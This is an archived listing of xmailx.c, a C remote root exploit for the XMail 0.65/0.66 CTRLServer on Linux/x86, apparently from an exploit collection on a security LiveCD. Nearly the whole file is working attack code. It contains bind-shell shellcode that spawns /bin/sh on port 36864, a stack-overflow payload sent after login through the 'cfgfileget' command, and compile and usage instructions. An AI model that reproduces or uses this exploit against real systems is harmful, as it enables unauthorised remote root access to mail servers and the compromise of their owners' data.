home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / xmail / xmailx.c < prev   
Encoding:
C/C++ Source or Header  |  2005-02-12  |  6.9 KB  |  219 lines
  1. /*
  2.  * XMail CTRLServer remote root exploit for linux/x86
  3.  *
  4.  * Author: isno(isno@etang.com), 01/2001
  5.  *
  6.  * NOTE:
  7.  *  Because the buffer is too small to set many of NOP before shellcode,it
  8.  * is deficult to guess ret.And it cannot brute force offset,because once 
  9.  * sending overflow code to the CTRLServer, XMail will be crashed.
  10.  *
  11.  *
  12.  * Tested on:
  13.  *   RedHat Linux 6.0 i386 XMail 0.65
  14.  *
  15.  * Compile:
  16.  *   gcc -o xmailx xmailx.c
  17.  * 
  18.  * Usage:
  19.  *   ./xmailx username passwd targethost [offset]
  20.  *   and telnet targethost 36864
  21.  *
  22.  */
  23.  
  24. #include <stdio.h>
  25. #include <string.h>
  26. #include <sys/socket.h>
  27. #include <sys/types.h>
  28. #include <netinet/in.h>
  29. #include <netdb.h>
  30.  
  31. #define BSIZE            512
  32. #define RETADDRESS        0xbc7fe988    /* maybe 0xbffff9a4 in some box */
  33. #define OFFSET            20
  34. #define NOP                0x90
  35. #define PORT            6017
  36.  
  37. void usage(char *app);
  38.  
  39. /*  shellcode bind TCP port 36864  */
  40. char shellcode[]=
  41. /* main: */
  42. "\xeb\x72"                                /* jmp callz               */
  43. /* start: */
  44. "\x5e"                                    /* popl %esi               */
  45. /* socket() */
  46. "\x29\xc0"                                /* subl %eax, %eax         */
  47. "\x89\x46\x10"                            /* movl %eax, 0x10(%esi)   */
  48. "\x40"                                    /* incl %eax               */
  49. "\x89\xc3"                                /* movl %eax, %ebx         */
  50. "\x89\x46\x0c"                            /* movl %eax, 0x0c(%esi)   */
  51. "\x40"                                    /* incl %eax               */
  52. "\x89\x46\x08"                            /* movl %eax, 0x08(%esi)   */
  53. "\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */
  54. "\xb0\x66"                                /* movb $0x66, %al         */
  55. "\xcd\x80"                                /* int $0x80               */
  56. /* bind() */
  57. "\x43"                                    /* incl %ebx               */
  58. "\xc6\x46\x10\x10"                        /* movb $0x10, 0x10(%esi)  */
  59. "\x66\x89\x5e\x14"                        /* movw %bx, 0x14(%esi)    */
  60. "\x88\x46\x08"                            /* movb %al, 0x08(%esi)    */
  61. "\x29\xc0"                                /* subl %eax, %eax         */
  62. "\x89\xc2"                                /* movl %eax, %edx         */
  63. "\x89\x46\x18"                            /* movl %eax, 0x18(%esi)   */
  64. "\xb0\x90"                                /* movb $0x90, %al         */
  65. "\x66\x89\x46\x16"                        /* movw %ax, 0x16(%esi)    */
  66. "\x8d\x4e\x14"                            /* leal 0x14(%esi), %ecx   */
  67. "\x89\x4e\x0c"                            /* movl %ecx, 0x0c(%esi)   */
  68. "\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */
  69. "\xb0\x66"                                /* movb $0x66, %al         */
  70. "\xcd\x80"                                /* int $0x80               */
  71. /* listen() */
  72. "\x89\x5e\x0c"                            /* movl %ebx, 0x0c(%esi)   */
  73. "\x43"                                    /* incl %ebx               */
  74. "\x43"                                    /* incl %ebx               */
  75. "\xb0\x66"                                /* movb $0x66, %al         */
  76. "\xcd\x80"                                /* int $0x80               */
  77. /* accept() */
  78. "\x89\x56\x0c"                            /* movl %edx, 0x0c(%esi)   */
  79. "\x89\x56\x10"                            /* movl %edx, 0x10(%esi)   */
  80. "\xb0\x66"                                /* movb $0x66, %al         */
  81. "\x43"                                    /* incl %ebx               */
  82. "\xcd\x80"                                /* int $0x80               */
  83. /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
  84. "\x86\xc3"                                /* xchgb %al, %bl          */
  85. "\xb0\x3f"                                /* movb $0x3f, %al         */
  86. "\x29\xc9"                                /* subl %ecx, %ecx         */
  87. "\xcd\x80"                                /* int $0x80               */
  88. "\xb0\x3f"                                /* movb $0x3f, %al         */
  89. "\x41"                                    /* incl %ecx               */
  90. "\xcd\x80"                                /* int $0x80               */
  91. "\xb0\x3f"                                /* movb $0x3f, %al         */
  92. "\x41"                                    /* incl %ecx               */
  93. "\xcd\x80"                                /* int $0x80               */
  94. /* execve() */
  95. "\x88\x56\x07"                            /* movb %dl, 0x07(%esi)    */
  96. "\x89\x76\x0c"                            /* movl %esi, 0x0c(%esi)   */
  97. "\x87\xf3"                                /* xchgl %esi, %ebx        */
  98. "\x8d\x4b\x0c"                            /* leal 0x0c(%ebx), %ecx   */
  99. "\xb0\x0b"                                /* movb $0x0b, %al         */
  100. "\xcd\x80"                                /* int $0x80               */
  101. /* callz: */
  102. "\xe8\x89\xff\xff\xff"                    /* call start              */
  103. "/bin/sh";
  104. /*  128 bytes  */
  105.  
  106. int main(int argc, char *argv[])
  107. {
  108.     char buff[BSIZE+1];
  109.     char sendbuf[600]="cfgfileget\t";
  110.     char loginbuf[200];
  111.     char rcvbuf[1024];
  112.     char *username;
  113.     char *password;
  114.     char *target;
  115.     int i;
  116.     int noprange;
  117.     int offset=OFFSET;
  118.     u_long sp=RETADDRESS;
  119.     u_long addr;
  120.  
  121.     int skt;
  122.     long inet;
  123.     struct hostent *host;
  124.     struct sockaddr_in sin;
  125.  
  126.     if(argc<4)
  127.     {
  128.         usage(argv[0]);
  129.         return 1;
  130.     }
  131.     
  132.     username = argv[1];
  133.     password = argv[2];
  134.     target = argv[3];
  135.     if(argc>4)
  136.     {
  137.         offset = atoi(argv[4]);
  138.     }
  139.  
  140.     addr=sp - (long)offset;
  141.     noprange=256+4-strlen(shellcode);
  142.     memset(buff, NOP, BSIZE);
  143.     memcpy(buff+(long)noprange, shellcode, strlen(shellcode));
  144.     for (i = 256+4; i < BSIZE; i += 4)
  145.           *((int *) &buff[i]) = addr;
  146.  
  147.     buff[BSIZE]='\0';
  148.  
  149.     fprintf(stderr, "\nUse retAddress: 0x%08x\n\n",addr);
  150.  
  151.     strcat(sendbuf, buff);
  152.     strcat(sendbuf, "\r\n");
  153.     strcpy(loginbuf,username);
  154.     strcat(loginbuf,"\t");      /* command should splitted by TAB */
  155.     strcat(loginbuf,password);
  156.     strcat(loginbuf,"\r\n");
  157.  
  158.     skt = socket(PF_INET, SOCK_STREAM, 0);
  159.     if(skt == 0)
  160.     {
  161.       perror("socket()");
  162.       exit(-1);
  163.     }
  164.  
  165.     inet = inet_addr(target);
  166.     if(inet == -1)
  167.     {
  168.       if(host = gethostbyname(target))
  169.         memcpy(&inet, host->h_addr, 4);
  170.       else
  171.         inet = -1;
  172.       if(inet == -1)
  173.         {
  174.             fprintf(stderr, "Cant resolv %s!!\n", target);
  175.             exit (-1);
  176.         }
  177.     }
  178.     sin.sin_family = PF_INET;
  179.     sin.sin_port = htons(PORT);
  180.     sin.sin_addr.s_addr = inet;
  181.     if (connect (skt, (struct sockaddr *)&sin, sizeof(sin)) < 0)
  182.     {
  183.       perror("Connect()");
  184.       exit(-1);
  185.     }
  186.     read(skt, rcvbuf, 1024);
  187.     fprintf(stderr, "%s\n", rcvbuf);
  188.     memset(rcvbuf, 0x0, 1024);
  189.     fprintf(stderr, "Starting to login...\n");
  190.     write(skt, loginbuf, strlen(loginbuf));
  191.     sleep(1);
  192.     read(skt, rcvbuf, 1024);
  193.     if(strstr(rcvbuf,"00000")==NULL)
  194.     {
  195.         perror("Login failed!");
  196.         exit(-1);
  197.     }
  198.     write(skt, sendbuf, strlen(sendbuf));
  199.     close(skt);
  200.  
  201.     fprintf(stderr, "Success!now telnet %s 36864\n", target);
  202.     return 1;
  203. }
  204.  
  205. void usage(char *app)
  206. {
  207.   fprintf(stderr, "\nXMail 0.65/0.66 CTRLSvr exploit\n\n");
  208.   fprintf(stderr, "Usage: %s username passwd targethost [offset]\n\n", app);
  209.   return;
  210. }
  211.  
  212.  
  213.  
  214.  
  215.  
  216.  
  217.  
  218.  
  219.